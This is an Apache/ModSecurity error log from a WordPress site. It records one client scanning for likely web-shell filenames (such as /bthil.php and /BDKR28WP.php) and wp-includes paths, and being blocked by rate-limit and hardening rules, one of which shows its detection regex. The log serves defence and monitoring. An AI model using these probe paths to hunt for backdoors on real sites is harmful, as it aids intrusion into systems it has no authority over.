[Tue May 26 21:23:47.473523 2026] [:error] [pid 36497:tid 36510] [client 20.151.112.53:17549] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "ahWe47jKQWM1gBmBY4gWZAAAAMA"]
[Tue May 26 21:23:48.352818 2026] [:error] [pid 36497:tid 36531] [client 20.151.112.53:42361] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/"] [unique_id "ahWe5LjKQWM1gBmBY4gWaAAAANU"]
[Tue May 26 21:23:50.218097 2026] [:error] [pid 36497:tid 36514] [client 20.151.112.53:19460] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/"] [unique_id "ahWe5rjKQWM1gBmBY4gWbQAAAMQ"]
[Tue May 26 21:23:51.844659 2026] [:error] [pid 43701:tid 43723] [client 20.151.112.53:56293] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/"] [unique_id "ahWe54WtVI_UGrhtwKDa1wAAAVQ"]
[Tue May 26 21:23:54.298858 2026] [:error] [pid 43701:tid 43718] [client 20.151.112.53:61742] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/"] [unique_id "ahWe6oWtVI_UGrhtwKDa5QAAAU8"]
[Tue May 26 21:23:56.148700 2026] [:error] [pid 33977:tid 34003] [client 20.151.112.53:2220] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bthil.php"] [unique_id "ahWe7O9cnSDNAU9sYPj48gAAABc"]
[Tue May 26 21:23:57.297378 2026] [:error] [pid 33887:tid 33928] [client 20.151.112.53:48121] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bthil.php"] [unique_id "ahWe7dCOI_FV7meOxGdDKgAAAIk"]
[Tue May 26 21:23:58.413192 2026] [:error] [pid 33977:tid 33980] [client 20.151.112.53:42247] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bthil.php"] [unique_id "ahWe7u9cnSDNAU9sYPj49wAAAAA"]
[Tue May 26 21:23:59.518546 2026] [:error] [pid 43701:tid 43722] [client 20.151.112.53:56298] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bthil.php"] [unique_id "ahWe74WtVI_UGrhtwKDa-AAAAVM"]
[Tue May 26 21:24:00.642309 2026] [:error] [pid 33888:tid 33953] [client 20.151.112.53:20825] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7.php"] [unique_id "ahWe8DqzTeoxiinZsGEUsgAAAQc"]
[Tue May 26 21:24:01.946478 2026] [:error] [pid 33977:tid 33992] [client 20.151.112.53:20802] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7.php"] [unique_id "ahWe8e9cnSDNAU9sYPj4-wAAAAw"]
[Tue May 26 21:24:03.290693 2026] [:error] [pid 33977:tid 33988] [client 20.151.112.53:61220] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7.php"] [unique_id "ahWe8-9cnSDNAU9sYPj5AgAAAAg"]
[Tue May 26 21:24:04.278070 2026] [:error] [pid 33977:tid 34002] [client 20.151.112.53:44118] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7.php"] [unique_id "ahWe9O9cnSDNAU9sYPj5BwAAABY"]
[Tue May 26 21:24:05.356100 2026] [:error] [pid 33887:tid 33926] [client 20.151.112.53:61703] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "ahWe9dCOI_FV7meOxGdDOAAAAIc"]
[Tue May 26 21:24:06.288733 2026] [:error] [pid 36497:tid 36533] [client 20.151.112.53:44150] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "ahWe9rjKQWM1gBmBY4gWfAAAANc"]
[Tue May 26 21:24:07.838628 2026] [:error] [pid 36497:tid 36523] [client 20.151.112.53:61211] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "ahWe97jKQWM1gBmBY4gWhAAAAM0"]
[Tue May 26 21:24:08.828137 2026] [:error] [pid 33977:tid 33982] [client 20.151.112.53:44057] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "ahWe-O9cnSDNAU9sYPj5DwAAAAI"]
[Tue May 26 21:24:11.308565 2026] [:error] [pid 36497:tid 36513] [client 20.151.112.53:55775] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "ahWe-7jKQWM1gBmBY4gWiQAAAMM"]
[Tue May 26 21:24:12.639168 2026] [:error] [pid 33888:tid 33953] [client 20.151.112.53:55802] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "ahWe_DqzTeoxiinZsGEUugAAAQc"]
[Tue May 26 21:24:13.638425 2026] [:error] [pid 36497:tid 36512] [client 20.151.112.53:58753] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "ahWe_bjKQWM1gBmBY4gWjwAAAMI"]
[Tue May 26 21:24:14.425183 2026] [:error] [pid 36497:tid 36510] [client 20.151.112.53:59776] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "ahWe_rjKQWM1gBmBY4gWkAAAAMA"]
[Tue May 26 21:24:15.283295 2026] [:error] [pid 36497:tid 36511] [client 20.151.112.53:47421] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "ahWe_7jKQWM1gBmBY4gWkgAAAME"]
[Tue May 26 21:24:15.893108 2026] [:error] [pid 33977:tid 33984] [client 20.151.112.53:19471] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "ahWe_-9cnSDNAU9sYPj5EgAAAAQ"]
[Tue May 26 21:24:16.786634 2026] [:error] [pid 33887:tid 33935] [client 20.151.112.53:21475] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "ahWfANCOI_FV7meOxGdDSwAAAJA"]
[Tue May 26 21:24:18.776271 2026] [:error] [pid 43701:tid 43711] [client 20.151.112.53:48036] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "ahWfAoWtVI_UGrhtwKDbIQAAAUg"]
[Tue May 26 21:24:20.796866 2026] [:error] [pid 33977:tid 33987] [client 20.151.112.53:34528] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "ahWfBO9cnSDNAU9sYPj5GwAAAAc"]
[Tue May 26 21:24:24.219440 2026] [:error] [pid 43701:tid 43715] [client 20.151.112.53:34508] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "ahWfCIWtVI_UGrhtwKDbKwAAAUw"]
[Tue May 26 21:24:25.910907 2026] [:error] [pid 43701:tid 43715] [client 20.151.112.53:47394] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "ahWfCYWtVI_UGrhtwKDbNAAAAUw"]
[Tue May 26 21:24:28.558806 2026] [:error] [pid 33887:tid 33943] [client 20.151.112.53:44081] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "ahWfDNCOI_FV7meOxGdDXQAAAJg"]
[Tue May 26 21:24:30.385245 2026] [:error] [pid 33886:tid 33906] [client 20.151.112.53:58767] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "ahWfDrBYzgp5rPVdHcWp_wAAAE8"]
[Tue May 26 21:24:32.524292 2026] [:error] [pid 43701:tid 43717] [client 20.151.112.53:58796] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "ahWfEIWtVI_UGrhtwKDbUgAAAU4"]
[Tue May 26 21:24:33.974445 2026] [:error] [pid 36497:tid 36522] [client 20.151.112.53:2436] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "ahWfEbjKQWM1gBmBY4gWtwAAAMw"]
[Tue May 26 21:24:36.124600 2026] [:error] [pid 33887:tid 33942] [client 20.151.112.53:21459] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "ahWfFNCOI_FV7meOxGdDbAAAAJc"]
[Tue May 26 21:24:37.259797 2026] [:error] [pid 43701:tid 43723] [client 20.151.112.53:24017] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "ahWfFYWtVI_UGrhtwKDbYAAAAVQ"]
[Tue May 26 21:24:55.310733 2026] [autoindex:error] [pid 33888:tid 33961] [client 20.151.112.53:45429] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 26 21:25:12.238050 2026] [:error] [pid 36497:tid 36517] [client 20.151.112.53:64879] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "ahWfOLjKQWM1gBmBY4gW-gAAAMc"]
[Tue May 26 21:25:22.073045 2026] [:error] [pid 33977:tid 33987] [client 20.151.112.53:13788] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "ahWfQu9cnSDNAU9sYPj5WAAAAAc"]
[Tue May 26 21:25:29.003004 2026] [:error] [pid 43701:tid 43707] [client 20.151.112.53:56729] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "ahWfSYWtVI_UGrhtwKDcBgAAAUQ"]
[Tue May 26 21:25:36.581405 2026] [:error] [pid 33977:tid 33997] [client 20.151.112.53:21412] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "ahWfUO9cnSDNAU9sYPj5fAAAABE"]
[Tue May 26 21:25:41.455879 2026] [:error] [pid 43701:tid 43721] [client 20.151.112.53:25917] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "ahWfVYWtVI_UGrhtwKDcNgAAAVI"]
[Tue May 26 21:25:57.533511 2026] [:error] [pid 33886:tid 33898] [client 20.151.112.53:35186] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "ahWfZbBYzgp5rPVdHcWqRQAAAEc"]
[Tue May 26 21:25:58.702415 2026] [:error] [pid 33977:tid 34002] [client 20.151.112.53:56213] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "ahWfZu9cnSDNAU9sYPj5mwAAABY"]
[Tue May 26 21:26:00.948509 2026] [:error] [pid 33887:tid 33919] [client 20.151.112.53:64309] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "ahWfaNCOI_FV7meOxGdDugAAAIA"]
[Tue May 26 21:26:03.050191 2026] [:error] [pid 33886:tid 33906] [client 20.151.112.53:59331] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "ahWfa7BYzgp5rPVdHcWqTgAAAE8"]
[Tue May 26 21:26:05.198148 2026] [:error] [pid 33888:tid 33963] [client 20.151.112.53:59384] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "ahWfbTqzTeoxiinZsGEVQQAAARE"]
[Tue May 26 21:26:07.319857 2026] [:error] [pid 33888:tid 33964] [client 20.151.112.53:28472] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "ahWfbzqzTeoxiinZsGEVRQAAARI"]
[Tue May 26 21:26:08.346394 2026] [:error] [pid 43701:tid 43725] [client 20.151.112.53:56218] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "ahWfcIWtVI_UGrhtwKDcvwAAAVY"]
[Tue May 26 21:26:09.355002 2026] [:error] [pid 33888:tid 33950] [client 20.151.112.53:56243] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/"] [unique_id "ahWfcTqzTeoxiinZsGEVRgAAAQQ"]
[Tue May 26 21:26:10.308264 2026] [autoindex:error] [pid 33888:tid 33949] [client 20.151.112.53:59329] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 26 21:26:18.290212 2026] [:error] [pid 33888:tid 33966] [client 20.151.112.53:59329] [client 20.151.112.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "ahWfejqzTeoxiinZsGEVUAAAARQ"]
[Tue May 26 21:26:34.372658 2026] [:error] [pid 43701:tid 43721] [client 20.151.112.53:31010] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/"] [unique_id "ahWfioWtVI_UGrhtwKDdHQAAAVI"]
[Tue May 26 21:26:36.170184 2026] [:error] [pid 33888:tid 33953] [client 20.151.112.53:31004] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/"] [unique_id "ahWfjDqzTeoxiinZsGEVfgAAAQc"]
[Tue May 26 21:26:37.341965 2026] [:error] [pid 36497:tid 36534] [client 20.151.112.53:18207] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/"] [unique_id "ahWfjbjKQWM1gBmBY4gX1gAAANg"]
[Tue May 26 21:26:38.637454 2026] [:error] [pid 33977:tid 33991] [client 20.151.112.53:25239] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/"] [unique_id "ahWfju9cnSDNAU9sYPj56wAAAAs"]
[Tue May 26 21:26:39.616490 2026] [:error] [pid 36497:tid 36525] [client 20.151.112.53:27869] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "ahWfj7jKQWM1gBmBY4gX3AAAAM8"]
[Tue May 26 21:26:40.300902 2026] [:error] [pid 36497:tid 36524] [client 20.151.112.53:63754] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "ahWfkLjKQWM1gBmBY4gX4gAAAM4"]
[Tue May 26 21:26:41.103881 2026] [:error] [pid 43701:tid 43722] [client 20.151.112.53:52135] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "ahWfkYWtVI_UGrhtwKDdIgAAAVM"]
